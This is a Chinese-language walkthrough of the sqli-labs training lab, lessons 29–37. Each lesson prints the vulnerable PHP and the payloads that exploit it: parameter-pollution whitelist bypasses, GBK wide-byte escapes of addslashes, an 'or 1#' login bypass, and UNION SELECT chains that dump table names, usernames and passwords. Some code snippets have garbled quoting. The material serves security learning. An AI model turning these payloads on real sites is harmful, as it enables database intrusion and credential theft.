修改index.jsp中的转发链接为 sqli-labs 项目链接

图片

成功访问目标地址,Tomcat 部署完成


id=1

图片

使用联合查询判断注入点,尝试验证


id=1&id=1' and '1'='1 //返回正常界面

图片


id=1&id=1' and '1'='2 //返回错误界面

图片

判断字段数


id=1&id=1' order by 3--+ //返回正确界面

图片


id=1&id=1' order by 4--+ //返回报错界面

图片

由此可说明字段数为3,通过 union select 查看回显位置


id=1&id=-1' union select 1,2,3--+

图片

查询基础信息




id=1&id=-1' union select 1,user(),3--+id=1&id=-1' union select 1,version(),3--+id=1&id=-1' union select 1,database(),3--+

图片

查询表名


id=1&id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+

图片

查询列名


id=1&id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+

图片

查询关键信息


id=1&id=-1' union select 1,group_concat(username),group_concat(password) from users--+

图片

Lesson-30

该题为双引号get型注入,利用方式包括联合查询注入、布尔盲注、时间盲注


id=1

图片

一旦输入错误会重定向hacked.jsp

图片

目标SQL语句如下:


































































//index.php$id=$_GET['id']$id = '''.$id.''';
$sql='SELECT * FROM users WHERE id=$id LIMIT 0,1'; # 返回内容if true: 输出查询内容;else: 输出存在错误;
//login.php$qs = $_SERVER['QUERY_STRING'];
$id1=java_implimentation($qs);$id=$_GET['id'];
whitelist($id1);
$id = ''' .$id. ''';$sql='SELECT * FROM users WHERE id=$id LIMIT 0,1';
# 返回内容if true: 输出查询内容;else: 输出存在错误;
function whitelist($input){ $match = preg_match('/^\d+$/', $input); if($match) { //echo 'you are good'; //return $match; } else { header('Location: hacked.php'); //echo 'you are bad'; }}
function java_implimentation($query_string){ $q_s = $query_string; $qs_array= explode('&',$q_s);

foreach($qs_array as $key => $value) { $val=substr($value,0,2); if($val=='id') { $id_value=substr($value,3,30); return $id_value; echo '<br>'; break; }
}
}

注意:该题的利用方式与lesson29类似,只不过拼接方式由单引号转换为双引号,同时不再输出详细的MySQL报错信息,因此无法使用报错注入进行攻击

使用联合查询判断注入点,尝试验证


id=1&id=1' and '1'='1 //返回正常界面

图片


id=1&id=1' and '1'='2 //返回错误界面

图片

判断字段数


id=1&id=1' order by 3--+ //返回正确界面

图片


id=1&id=1' order by 4--+ //返回报错界面

图片

由此可说明字段数为3,通过 union select 查看回显位置


id=1&id=-1' union select 1,2,3--+

图片

查询基础信息




id=1&id=-1' union select 1,user(),3--+id=1&id=-1' union select 1,version(),3--+id=1&id=-1' union select 1,database(),3--+

图片

查询表名


id=1&id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+

图片

查询列名


id=1&id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+

图片

查询关键信息


id=1&id=-1' union select 1,group_concat(username),group_concat(password) from users--+

图片

Lesson-31

该题为单括号双引号get型注入,利用方式包括联合查询注入、布尔盲注、时间盲注


id=1

图片

一旦输入错误会重定向hacked.jsp

图片

目标SQL语句如下:

































































//index.php$id=$_GET['id']$id = '''.$id.''';
$sql='SELECT * FROM users WHERE (id=$id) LIMIT 0,1'; # 返回内容if true: 输出查询内容;else: print_r(mysql_error());
//login.php$qs = $_SERVER['QUERY_STRING'];
$id1=java_implimentation($qs);$id=$_GET['id'];
whitelist($id1);
$id = ''' .$id. ''';$sql='SELECT * FROM users WHERE id=($id) LIMIT 0,1';
# 返回内容if true: 输出查询内容;else: print_r(mysql_error());
function whitelist($input){ $match = preg_match('/^\d+$/', $input); if($match) { //echo 'you are good'; //return $match; } else { header('Location: hacked.php'); //echo 'you are bad'; }}
function java_implimentation($query_string){ $q_s = $query_string; $qs_array= explode('&',$q_s);

foreach($qs_array as $key => $value) { $val=substr($value,0,2); if($val=='id') { $id_value=substr($value,3,30); return $id_value; echo '<br>'; break; }
}
}

注意:该题的利用方式与lesson30类似,只不过拼接方式由双引号转换为单括号双引号

使用联合查询判断注入点,尝试验证


id=1&id=1') and ('1')=('1 //返回正常界面

图片


id=1&id=1' and '1'='2 //返回错误界面

图片

判断字段数


id=1&id=1') order by 3--+ //返回正确界面

图片


id=1&id=1') order by 4--+ //返回报错界面

图片

由此可说明字段数为3,通过 union select 查看回显位置


id=1&id=-1') union select 1,2,3--+

图片

查询基础信息




id=1&id=-1') union select 1,user(),3--+id=1&id=-1') union select 1,version(),3--+id=1&id=-1') union select 1,database(),3--+

图片

查询表名


id=1&id=-1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+

图片

查询列名


id=1&id=-1') union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+

图片

查询关键信息


id=1&id=-1') union select 1,group_concat(username),group_concat(password) from users--+

图片

Lesson-32

该题为单引号get型注入,利用方式包括联合查询注入、报错注入、布尔盲注、时间盲注


id=1'

图片

目标SQL语句如下:



















$id=check_addslashes($_GET['id']);
$sql='SELECT * FROM users WHERE id='$id' LIMIT 0,1'; # 返回内容if true: 输出查询内容;else: print_r(mysql_error()); function check_addslashes($string){ $string = preg_replace('/'. preg_quote('\\') .'/', '\\\\\\', $string); $string = preg_replace('/\'/i', '\\\'', $string); $string = preg_replace('/\'/', '\\\'', $string); return $string;}

注意:该题采用了新的过滤规则,将常用的单双引号、反斜杠等敏感字符都进行了反斜杠转义,我们需要去除反斜杠,因此可使用宽字节注入进行绕过

如果程序的默认字符集为 GBK 等宽字节字符集时,就有可能产生宽字节注入。MySQL 在使用 GBK 编码时会认为两个字符是一个汉字,例如%aa%5c就会被 MySQL 认为是一个汉字。而\字符的 URL 编码为%5c'字符的 URL 编码为%27,当我们输入%df%27时由于目标对'字符进行了过滤,因此输出为%df%5c%27%df%5c被 MySQL 当做了汉字,而%27则被当做单独的符号使用。

需要注意的是只有前一个 ASCII 码大于128才能到达汉字范围,因此不只是%df,理论上来说%81-%FE均可用于宽字节注入。

由于旧版本的 MySQL 安装时,会有编码问题导致中文乱码。因此需要查看 MySQL 中的编码类型


SHOW VARIABLES LIKE 'character%';

图片

使用联合查询判断注入点,尝试验证


id=1%df' //返回报错界面

图片


id=1%df'--+ //返回正常界面

图片

判断字段数


id=1%df' order by 3--+ //返回正确界面

图片


id=1%df' order by 4--+ //返回报错界面

图片

由此可说明字段数为3,通过 union select 查看回显位置


id=-1%df' union select 1,2,3--+

图片

查询基础信息




id=-1%df' union select 1,user(),3--+id=-1%df' union select 1,version(),3--+id=-1%df' union select 1,database(),3--

图片

查询表名,将原先的输出库名的'转换为database()函数,当然也可以转换为十进制输出


id=-1%df' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

图片

查询列名


id=-1%df' union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7573657273--+

图片

查询关键信息


id=-1%df' union select 1,group_concat(username),group_concat(password) from users--+

图片

Lesson-33

该题为单引号get型注入,利用方式包括联合查询注入、报错注入、布尔盲注、时间盲注


id=1'

图片

目标SQL语句如下:
















$id=check_addslashes($_GET['id']);
$sql='SELECT * FROM users WHERE id='$id' LIMIT 0,1'; # 返回内容if true: 输出查询内容;else: print_r(mysql_error()); function check_addslashes($string){ $string= addslashes($string); return $string;}

注意:该题与Lesson32的利用方式相同,只不过更换了过滤函数addslashes(),该函数可在预定义字符之前添加反斜杠\的字符串

addslashes()函数预定义字符如下:

  • 单引号 '

  • 双引号 '

  • 反斜杠 \

  • 空字符 NULL

默认情况下 PHP 对所有GETPOSTCOOKIE请求数据执行addslashes()。所以不应对已转义过的字符串使用addslashes(),这样会导致二次转义。遇到这种情况我们可以使用函get_magic_quotes_gpc()进行检测。stripslashes()函数可删除由addslashes()函数添加的反斜杠。实际上它与Lesson32的过滤功能类似,都可以使用宽字节进行注入。

使用联合查询判断注入点,尝试验证


id=1%df' //返回报错界面

图片


id=1%df'--+ //返回正常界面

图片

判断字段数


id=1%df' order by 3--+ //返回正确界面

图片


id=1%df' order by 4--+ //返回报错界面

图片

由此可说明字段数为3,通过 union select 查看回显位置


id=-1%df' union select 1,2,3--+

图片

查询基础信息




id=-1%df' union select 1,user(),3--+id=-1%df' union select 1,version(),3--+id=-1%df' union select 1,database(),3--+

图片

查询表名,将原先的输出库名的'转换为database()函数,当然也可以转换为十进制输出


id=-1%df' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

图片

查询列名


id=-1%df' union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7573657273--+

图片

查询关键信息


id=-1%df' union select 1,group_concat(username),group_concat(password) from users--+

图片

Lesson-34

该题为单引号post型注入,利用方式包括联合查询注入、报错注入、布尔盲注、时间盲注,登录界面以 post 方式接收变量

图片

目标SQL语句如下:














$uname1=$_POST['uname'];$passwd1=$_POST['passwd'];
$uname = addslashes($uname1);$passwd= addslashes($passwd1);
@$sql='SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1'; # 返回内容if true: 输出查询内容;else: print_r(mysql_error());

注意:该题与Lesson33的利用方式相同,只不过将请求方式由GET转换为POST,但POST中不能进行URLencode,可使用UTF-8UTF-16UTF-32,登录成功或失败会返回不同的图片

使用iconv命令进行 UTF 编码转换,从表面上看这是个乱码字符



echo \'|iconv -f utf-8 -t utf-16echo \'|iconv -f utf-8 -t utf-32

图片

截取登录请求包并复制以上乱码字符使用万能密码进行登录,成功登录


uname=admin�'%20or%201#&passwd=admin&submit=Submit

图片

那为什么这个万能密码能够生效呢?我们尝试将其代入SQL语句当中


SELECT username, password FROM users WHERE username='admin�' or 1#' and password='admin' LIMIT 0,1;

图片

需要注意的是这里的or 1or 1=1的简化写法,只要是永真条件均可,同样的还有or trueor 2>1

使用联合查询判断字段数


uname=admin�'%20order%20by%202#&passwd=admin&submit=Submit //返回正常界面

图片


uname=admin�'%20order%20by%203#&passwd=admin&submit=Submit //返回报错界面

图片

由此可说明字段数为2,通过 union select 查看回显位置


uname=admin�'%20union%20select%201,2#&passwd=admin&submit=Submit

图片

查询基础信息



uname=admin�'%20union%20select%20user(),version()#&passwd=admin&submit=Submituname=admin�'%20union%20select%20database(),2#&passwd=admin&submit=Submit

图片

查询表名,将原先的输出库名的'转换为database()函数,当然也可以转换为十进制输出


uname=admin�'%20union%20select%201,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()#&passwd=admin&submit=Submit

图片

查询列名


uname=admin�'%20union%20select%201,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=0x7573657273#&passwd=admin&submit=Submit

图片

查询关键信息


uname=admin�'%20union%20select%20group_concat(username),group_concat(password)%20from%20users#&passwd=admin&submit=Submit

图片

Lesson-35

该题为数字型get型注入,利用方式包括联合查询注入、报错注入、布尔盲注、时间盲注


id=1'

图片

目标SQL语句如下:
















$id=check_addslashes($_GET['id']);
$sql='SELECT * FROM users WHERE id=$id LIMIT 0,1';
# 返回内容if true: 输出查询内容;else: print_r(mysql_error());
function check_addslashes($string){ $string = addslashes($string); return $string;}

注意:该题的过滤方式非常有意思,使用addslashes()函数过滤的是字符串,但在SQL语句中拼接的是字符,因此实际注入与平常的数字型注入无差别

使用联合查询判断注入点


id=1 and 1=1 //返回正确界面

图片


id=1 and 1=2 //返回错误界面

图片

判断字段数


id=1 order by 3# //返回正常界面

图片


id=1 order by 4# //返回报错界面

图片

由此可说明字段数为3,通过 union select 查看回显位置


id=-1 union select 1,2,3#

图片

查询基础信息



id=-1 union select 1,user(),version()#id=-1 union select 1,database(),3#

图片

查询表名,将原先的输出库名的'转换为database()函数,当然也可以转换为十进制输出


id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#

图片

查询列名


id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273#

图片

查询关键信息


id=-1 union select 1,group_concat(username),group_concat(password) from users#

图片

Lesson-36

该题为单引号get型注入,利用方式包括联合查询注入、报错注入、布尔盲注、时间盲注


id=1'

图片

目标SQL语句如下:
















$id=check_quotes($_GET['id']);
$sql='SELECT * FROM users WHERE id='$id' LIMIT 0,1'; # 返回内容if true: 输出查询内容;else: print_r(mysql_error()); function check_quotes($string){ $string= mysql_real_escape_string($string); return $string;}

注意:该题与Lesson33的利用方式相同,只不过更换了过滤函数mysql_real_escape_string(),该函数可在预定义字符之前添加反斜杠\的字符串

mysql_real_escape_string()函数预定义字符如下:

  • 单引号 '

  • 双引号 '

  • 反斜杠 \

mysql_real_escape_string()函数可转义 SQL 语句中使用的字符串中的特殊字符。与Lesson32的过滤功能类似,都可以使用宽字节进行注入。

使用联合查询判断注入点,尝试验证


id=1%df' //返回报错界面

图片


id=1%df'--+ //返回正常界面

图片

判断字段数


id=1%df' order by 3--+ //返回正确界面

图片


id=1%df' order by 4--+ //返回报错界面

图片

由此可说明字段数为3,通过 union select 查看回显位置


id=-1%df' union select 1,2,3--+

图片

查询基础信息




id=-1%df' union select 1,user(),3--+id=-1%df' union select 1,version(),3--+id=-1%df' union select 1,database(),3--+

图片

查询表名,将原先的输出库名的'转换为database()函数,当然也可以转换为十进制输出


id=-1%df' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

图片

查询列名


id=-1%df' union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7573657273--+

图片

查询关键信息


id=-1%df' union select 1,group_concat(username),group_concat(password) from users--+

图片

Lesson-37

该题为单引号post型注入,利用方式包括联合查询注入、报错注入、布尔盲注、时间盲注,登录界面以 post 方式接收变量

图片

目标SQL语句如下:














$uname1=$_POST['uname'];$passwd1=$_POST['passwd'];
$uname = mysql_real_escape_string($uname1);$passwd= mysql_real_escape_string($passwd1); @$sql='SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1'; # 返回内容if true: 输出查询内容;else: print_r(mysql_error());

注意:该题与Lesson36的利用方式相同,只不过将请求方式由GET转换为POST,但POST中不能进行URLencode,可使用UTF-8UTF-16UTF-32,登录成功或失败会返回不同的图片

使用iconv命令进行 UTF 编码转换,从表面上看这是个乱码字符



echo \'|iconv -f utf-8 -t utf-16echo \'|iconv -f utf-8 -t utf-32

图片

截取登录请求包并复制以上乱码字符使用万能密码进行登录,成功登录

uname=admin�'%20or%201#&passwd=admin&submit=Submit

图片

那为什么这个万能密码能够生效呢?我们尝试将其代入SQL语句当中



SELECT username, password FROM users WHERE username='admin�' or 1#' and password='admin' LIMIT 0,1;

图片

需要注意的是这里的or 1or 1=1的简化写法,只要是永真条件均可,同样的还有or trueor 2>1

使用联合查询判断字段数


uname=admin�'%20order%20by%202#&passwd=admin&submit=Submit //返回正常界面

图片



uname=admin�'%20order%20by%203#&passwd=admin&submit=Submit //返回报错界面

图片

由此可说明字段数为2,通过 union select 查看回显位置


uname=admin�'%20union%20select%201,2#&passwd=admin&submit=Submit

图片

查询基础信息



uname=admin�'%20union%20select%20user(),version()#&passwd=admin&submit=Submituname=admin�'%20union%20select%20database(),2#&passwd=admin&submit=Submit

图片

查询表名,将原先的输出库名的'转换为database()函数,当然也可以转换为十进制输出


uname=admin�'%20union%20select%201,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()#&passwd=admin&submit=Submit

图片

查询列名


uname=admin�'%20union%20select%201,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=0x7573657273#&passwd=admin&submit=Submit

图片

查询关键信息


uname=admin�'%20union%20select%20group_concat(username),group_concat(password)%20from%20users#&passwd=admin&submit=Submit

图片

0x02 总结

该靶场是学习 SQL 注入的好途径,刷完全部题目后面对 SQL 注入的了解有很大帮助,整个靶场以 MySQL + PHP 搭建环境为主,根据不同环境切换了 Windows、Linux 以及 Tomcat 代理。如果想要测试目标点是否存在 SQL 注入,我们应该从请求方式、注入点闭合方式、请求头部、后端SQL语句以及注入方式等方面进行考虑,确定了这些后再想方设法绕过站点中的 一些限制性因素情况等,其实这就是手工注入的魅力,当然会使用 sqlmap 也是一件好事,有了手工+自动两种方式的结合,在面对一般的 SQL 注入问题都可以迎刃而解。本文详细讲解了21-37关高级注入的通关教程,至此SQLi靶场完结。

    本站是提供个人知识管理的网络存储空间,所有内容均由用户发布,不代表本站观点。请注意甄别内容中的联系方式、诱导购买等信息,谨防诈骗。如发现有害或侵权内容,请点击一键举报。
    转藏 分享 献花(0

    0条评论

    发表

    请遵守用户 评论公约

    类似文章 更多